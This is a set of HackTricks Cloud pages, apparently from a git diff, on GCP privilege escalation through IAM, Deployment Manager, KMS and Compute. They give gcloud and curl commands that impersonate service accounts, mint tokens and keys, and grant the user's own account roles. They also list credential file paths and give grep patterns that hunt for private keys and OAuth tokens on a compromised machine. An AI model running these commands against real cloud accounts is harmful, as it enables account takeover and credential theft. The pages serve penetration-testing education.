* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## deploymentmanager
### `deploymentmanager.deployments.create`
This single permission lets you **launch new deployments** of resources into GCP with arbitrary service accounts. You could for example launch a compute instance with a SA to escalate to it.
You could actually **launch any resource** listed in `gcloud deployment-manager types list`
In the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) following[ **script**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) is used to deploy a compute instance, however that script won't work. Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/1-deploymentmanager.deployments.create.sh)**.**
### `deploymentmanager.deployments.update`
This is like the previous abuse but instead of creating a new deployment, you modifies one already existing (so be careful)
Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/e-deploymentmanager.deployments.update.sh)**.**
### `deploymentmanager.deployments.setIamPolicy`
This is like the previous abuse but instead of directly creating a new deployment, you first give you that access and then abuses the permission as explained in the previous _deploymentmanager.deployments.create_ section.
## References
* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,170 @@
# GCP - IAM Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## IAM
Find more information about IAM in:
{% content-ref url="../gcp-services/gcp-iam-and-org-policies-enum.md" %}
[gcp-iam-and-org-policies-enum.md](../gcp-services/gcp-iam-and-org-policies-enum.md)
{% endcontent-ref %}
### `iam.roles.update` (`iam.roles.get`)
An attacker with the mentioned permissions will be able to update a role assigned to you and give you extra permissions to other resources like:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
You can find a script to automate the **creation, exploit and cleaning of a vuln environment here** and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
An attacker with the mentioned permissions will be able to **request an access token that belongs to a Service Account**, so it's possible to request an access token of a Service Account with more privileges than ours.
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
An attacker with the mentioned permissions will be able to **create a user-managed key for a Service Account**, which will allow us to access GCP as that Service Account.
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Note that **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA because to do that the permissions `iam.serviceAccountKeys.create` is also needed.
### `iam.serviceAccounts.implicitDelegation`
If you have the **`iam.serviceAccounts.implicitDelegation`** permission on a Service Account that has the **`iam.serviceAccounts.getAccessToken`** permission on a third Service Account, then you can use implicitDelegation to **create a token for that third Service Account**. Here is a diagram to help explain.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
Note that according to the [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), the delegation of `gcloud` only works to generate a token using the [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) method. So here you have how to get a token using the API directly:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
An attacker with the mentioned permissions will be able to **sign of arbitrary payloads in GCP**. So it'll be possible to **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** by the SA we are targeting. For more information [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
An attacker with the mentioned permissions will be able to **sign well-formed JSON web tokens (JWTs)**. The difference with the previous method is that **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**. This makes it easier to use but you can only sign JWT instead of any bytes.
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
An attacker with the mentioned permissions will be able to **add IAM policies to service accounts**. You can abuse it to **grant yourself** the permissions you need to impersonate the service account. In the following example we are granting ourselves the `roles/iam.serviceAccountTokenCreator` role over the interesting SA:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"
# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
The **iam.serviceAccounts.actAs permission** is like the **iam:PassRole permission from AWS**. It's essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to "actAs" a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the **iam.serviceAccounts.actAs** involves various methods, each requiring a set of permissions, contrasting with other methods that need just one.
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Impersonating a service account can be very useful to **obtain new and better privileges**. There are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
* Authentication **using RSA private keys** (covered above)
* Authorization **using Cloud IAM policies** (covered here)
* **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
### `iam.serviceAccounts.getOpenIdToken`
An attacker with the mentioned permissions will be able to generate an OpenID JWT. These are used to assert identity and do not necessarily carry any implicit authorization against a resource.
According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), it's necessary to indicate the audience (service where you want to use the token to authenticate to) and you will receive a JWT signed by google indicating the service account and the audience of the JWT.
You can generate an OpenIDToken (if you have the access) with:
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
Then you can just use it to access the service with:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
Some services that support authentication via this kind of tokens are:
* [Google Cloud Run](https://cloud.google.com/run/)
* [Google Cloud Functions](https://cloud.google.com/functions/docs/)
* [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
* [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
## References
* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,116 @@
# GCP - KMS Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## KMS
Info about KMS:
{% content-ref url="../gcp-services/gcp-kms-enum.md" %}
[gcp-kms-enum.md](../gcp-services/gcp-kms-enum.md)
{% endcontent-ref %}
Note that in KMS the **permission** are not only **inherited** from Orgs, Folders and Projects but also from **Keyrings**.
### `cloudkms.cryptoKeyVersions.useToDecrypt`
You can use this permission to **decrypt information with the key** you have this permission over.
```bash
gcloud kms decrypt \
--location=[LOCATION] \
--keyring=[KEYRING_NAME] \
--key=[KEY_NAME] \
--version=[KEY_VERSION] \
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
--plaintext-file=[DECRYPTED_FILE_PATH]
```
### `cloudkms.cryptoKeys.setIamPolicy`
An attacker with this permission could **give himself permissions** to use the key to decrypt information.
```bash
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
--keyring [KEYRING_NAME] \
--member [MEMBER] \
--role roles/cloudkms.cryptoKeyDecrypter
```
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
Here's a conceptual breakdown of how this delegation works:
1. **Service Account A** has direct access to decrypt using a specific key in KMS.
2. **Service Account B** is granted the `useToDecryptViaDelegation` permission. This allows it to request KMS to decrypt data on behalf of Service Account A.
The usage of this **permission is implicit in the way that the KMS service checks permissions** when a decryption request is made.
When you make a standard decryption request using the Google Cloud KMS API (in Python or another language), the service **checks whether the requesting service account has the necessary permissions**. If the request is made by a service account with the **`useToDecryptViaDelegation`** permission, KMS verifies whether this **account is allowed to request decryption on behalf of the entity that owns the key**.
#### Setting Up for Delegation
1. **Define the Custom Role**: Create a YAML file (e.g., `custom_role.yaml`) that defines the custom role. This file should include the `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` permission. Here's an example of what this file might look like:
```yaml
title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
```
2. **Create the Custom Role Using the gcloud CLI**: Use the following command to create the custom role in your Google Cloud project:
{% code overflow="wrap" %}
```bash
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
```
{% endcode %}
Replace `[YOUR_PROJECT_ID]` with your Google Cloud project ID.
3. **Grant the Custom Role to a Service Account**: Assign your custom role to a service account that will be using this permission. Use the following command:
```bash
# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member "serviceAccount:[SERVICE_ACCOUNT_B_EMAIL]" \
--role "projects/[PROJECT_ID]/roles/[CUSTOM_ROLE_ID]"
# Give this permission over the project to be able to impersonate any SA
gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
```
Replace `[YOUR_PROJECT_ID]` and `[SERVICE_ACCOUNT_EMAIL]` with your project ID and the email of the service account, respectively.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,122 @@
# GCP - local privilege escalation ssh pivoting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project.
Amazingly, GPC permissions of the compute engine you have compromised may help you to **escalate privileges locally inside a machine**. Even if that won't always be very helpful in a cloud environment, it's good to know it's possible.
## Read the scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
**Compute Instances** are probably there to **execute some scripts** to perform actions with their service accounts.
As IAM is go granular, an account may have **read/write** privileges over a resource but **no list privileges**.
A great hypothetical example of this is a Compute Instance that has permission to read/write backups to a storage bucket called `instance82736-long-term-xyz-archive-0332893`.
Running `gsutil ls` from the command line returns nothing, as the service account is lacking the `storage.buckets.list` IAM permission. However, if you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may find a complete filesystem backup, giving you clear-text access to data that your local Linux account lacks.
You may be able to find this bucket name inside a script (in bash, Python, Ruby...).
## Custom Metadata
Administrators can add [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) at the **instance** and **project level**. This is simply a way to pass **arbitrary key/value pairs into an instance**, and is commonly used for environment variables and startup/shutdown scripts.
Moreover, it's possible to add **userdata**, which is a script that will be **executed everytime** the machine is started or restarted and that can be **accessed from the metadata endpoint also.**
For more info check:
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf" %}
## **Abusing IAM permissions**
Most of the following proposed permissions are **given to the default Compute SA,** the only problem is that the **default access scope prevents the SA from using them**. However, if **`cloud-platform`** **scope** is enabled or just the **`compute`** **scope** is enabled, you will be **able to abuse them**.
Check the following permissions:
* [**compute.instances.osLogin**](gcp-compute-privesc/#compute.instances.oslogin)
* [**compute.instances.osAdminLogin**](gcp-compute-privesc/#compute.instances.osadminlogin)
* [**compute.projects.setCommonInstanceMetadata**](gcp-compute-privesc/#compute.projects.setcommoninstancemetadata)
* [**compute.instances.setMetadata**](gcp-compute-privesc/#compute.instances.setmetadata)
* [**compute.instances.setIamPolicy**](gcp-compute-privesc/#compute.instances.setiampolicy)
## Search for Keys in the filesystem
Check if other users have loggedin in gcloud inside the box and left their credentials in the filesystem:
```
sudo find / -name "gcloud"
```
These are the most interesting files:
* `~/.config/gcloud/credentials.db`
* `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
* `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
* `~/.credentials.json`
### More API Keys regexes
```bash
TARGET_DIR="/path/to/whatever"
# Service account keys
grep -Pzr "(?s){[^{}]*?service_account[^{}]*?private_key.*?}" \
"$TARGET_DIR"
# Legacy GCP creds
grep -Pzr "(?s){[^{}]*?client_id[^{}]*?client_secret.*?}" \
"$TARGET_DIR"
# Google API keys
grep -Pr "AIza[a-zA-Z0-9\\-_]{35}" \
"$TARGET_DIR"
# Google OAuth tokens
grep -Pr "ya29\.[a-zA-Z0-9_-]{100,200}" \
"$TARGET_DIR"
# Generic SSH keys
grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\+=\n-]*?END[ A-Z]*?PRIVATE KEY-----" \
"$TARGET_DIR"
# Signed storage URLs
grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
"$TARGET_DIR"
# Signed policy documents in HTML
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
"$TARGET_DIR"
```
## References
* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,51 @@
# GCP - Generic Permissions Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Generic Interesting Permissions
### \*.setIamPolicy
If you owns a user that has the **`setIamPolicy`** permission in a resource you can **escalate privileges in that resource** because you will be able to change the IAM policy of that resource and give you more privileges over it.\
This permission can also allow to **escalate to other principals** if the resource allow to execute code and the iam.ServiceAccounts.actAs is not necessary.
* _cloudfunctions.functions.setIamPolicy_
* Modify the policy of a Cloud Function to allow yourself to invoke it.
There are tens of resources types with this kind of permission, you can find all of them in [https://cloud.google.com/iam/docs/permissions-reference](https://cloud.google.com/iam/docs/permissions-reference) searching for setIamPolicy.
### \*.create, \*.update
These permissions can be very useful to try to escalate privileges in resources by **creating a new one or updating a new one**. These can of permissions are specially useful if you also has the permission **iam.serviceAccounts.actAs** over a Service Account and the resource you have .create/.update over can attach a service account.
### \*ServiceAccount\*
This permission will usually let you **access or modify a Service Account in some resource** (e.g.: compute.instances.setServiceAccount). This **could lead to a privilege escalation** vector, but it will depend on each case.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,82 @@
# GCP - Network Docker Escape
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Initial State
In both writeups where this technique is specified, the attackers managed to get **root** access inside a **Docker** container managed by GCP with access to the host network (and the capabilities **`CAP_NET_ADMIN`** and **`CAP_NET_RAW`**).
## Attack Explanation
On a Google Compute Engine instance, regular inspection of network traffic reveals numerous **plain HTTP requests** to the **metadata instance** at `169.254.169.254`. The [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), an open-source service, frequently makes such requests.
This agent is designed to **monitor changes in the metadata**. Notably, the metadata includes a **field for SSH public keys**. When a new public SSH key is added to the metadata, the agent automatically **authorizes** it in the `.authorized_key` file. It may also **create a new user** and add them to **sudoers** if needed.
